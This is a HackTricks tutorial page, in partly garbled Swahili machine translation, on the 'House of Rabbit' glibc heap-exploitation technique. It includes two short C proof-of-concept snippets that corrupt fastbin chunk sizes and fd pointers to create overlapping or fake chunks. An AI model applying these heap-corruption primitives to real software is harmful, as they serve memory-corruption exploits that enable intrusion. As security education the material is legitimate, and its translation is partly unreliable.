House of Rabbit
Reading time: 4 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Requirements
- Uwezo wa kubadilisha fast bin fd pointer au saizi: Hii inamaanisha unaweza kubadilisha pointer ya mbele ya kipande katika fastbin au saizi yake.
- Uwezo wa kuchochea
malloc_consolidate
: Hii inaweza kufanywa kwa kutenga kipande kikubwa au kuunganisha kipande cha juu, ambacho kinawasilisha heap kuunganisha vipande.
Goals
- Unda vipande vinavyoshirikiana: Ili kuwa na kipande kimoja kinachoshirikiana na kingine, kuruhusu manipulasi zaidi za heap.
- Fanya vipande vya uongo: Ili kumdanganya allocator kut treating kipande cha uongo kama kipande halali wakati wa operesheni za heap.
Steps of the attack
POC 1: Badilisha saizi ya kipande cha fast bin
Objective: Unda kipande kinachoshirikiana kwa kubadilisha saizi ya kipande cha fastbin.
- Step 1: Tenga Vipande
unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x40); // Allocates another chunk of 0x40 bytes at 0x602050
malloc(0x10); // Allocates a small chunk to change the fastbin state
Tunaweka vipande viwili vya 0x40 bytes kila kimoja. Vipande hivi vitakuwa katika orodha ya fast bin mara vitakapokuwa huru.
- Hatua ya 2: Fungua Vipande
free(chunk1); // Frees the chunk at 0x602000
free(chunk2); // Frees the chunk at 0x602050
Tunaachilia vipande vyote viwili, tukiviweka kwenye orodha ya fastbin.
- Hatua ya 3: Badilisha Ukubwa wa Kipande
chunk1[-1] = 0xa1; // Modify the size of chunk1 to 0xa1 (stored just before the chunk at chunk1[-1])
Tunaweka metadata ya saizi ya chunk1
kuwa 0xa1. Hii ni hatua muhimu ili kumdanganya mtoaji wakati wa kuunganisha.
- Hatua ya 4: Trigger
malloc_consolidate
malloc(0x1000); // Allocate a large chunk to trigger heap consolidation
Kuweka sehemu kubwa kunasababisha kazi ya malloc_consolidate
, ikichanganya sehemu ndogo katika fast bin. Ukubwa uliofanyiwa mabadiliko wa chunk1
unasababisha iingiliane na chunk2
.
Baada ya kuunganishwa, chunk1
inagongana na chunk2
, ikiruhusu matumizi zaidi.
POC 2: Badilisha kiashiria cha fd
Lengo: Kuunda sehemu bandia kwa kubadilisha kiashiria cha fast bin fd
.
- Hatua ya 1: Weka Sehemu
unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x602050
Maelezo: Tunapanga vipande viwili, kimoja kidogo na kingine kikubwa, ili kuandaa heap kwa ajili ya kipande cha uongo.
- Hatua ya 2: Unda kipande cha uongo
chunk2[1] = 0x31; // Fake chunk size 0x30
chunk2[7] = 0x21; // Next fake chunk
chunk2[11] = 0x21; // Next-next fake chunk
Tunaandika metadata ya bandia ya chunk ndani ya chunk2
ili kuiga chunks ndogo.
- Hatua ya 3: Fungua
chunk1
free(chunk1); // Frees the chunk at 0x602000
Maelezo: Tunachomoa chunk1
, tukiongeza kwenye orodha ya fastbin.
- Hatua ya 4: Badilisha
fd
yachunk1
chunk1[0] = 0x602060; // Modify the fd of chunk1 to point to the fake chunk within chunk2
Maelezo: Tunabadilisha kiashiria cha mbele (fd
) cha chunk1
kuonyesha kwenye kipande chetu cha uongo ndani ya chunk2
.
- Hatua ya 5: Chochea
malloc_consolidate
malloc(5000); // Allocate a large chunk to trigger heap consolidation
Kuweka kipande kikubwa tena kunasababisha malloc_consolidate
, ambayo inashughulikia kipande cha uwongo.
Kipande cha uwongo kinakuwa sehemu ya orodha ya fastbin, na kufanya kuwa kipande halali kwa ajili ya unyakuzi zaidi.
Muhtasari
Mbinu ya House of Rabbit inahusisha ama kubadilisha ukubwa wa kipande cha fast bin ili kuunda vipande vinavyovutana au kudhibiti kiashiria cha fd
ili kuunda vipande vya uwongo. Hii inawawezesha washambuliaji kuunda vipande halali katika heap, ikiruhusu aina mbalimbali za unyakuzi. Kuelewa na kufanya mazoezi ya hatua hizi kutaboresha ujuzi wako wa unyakuzi wa heap.
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.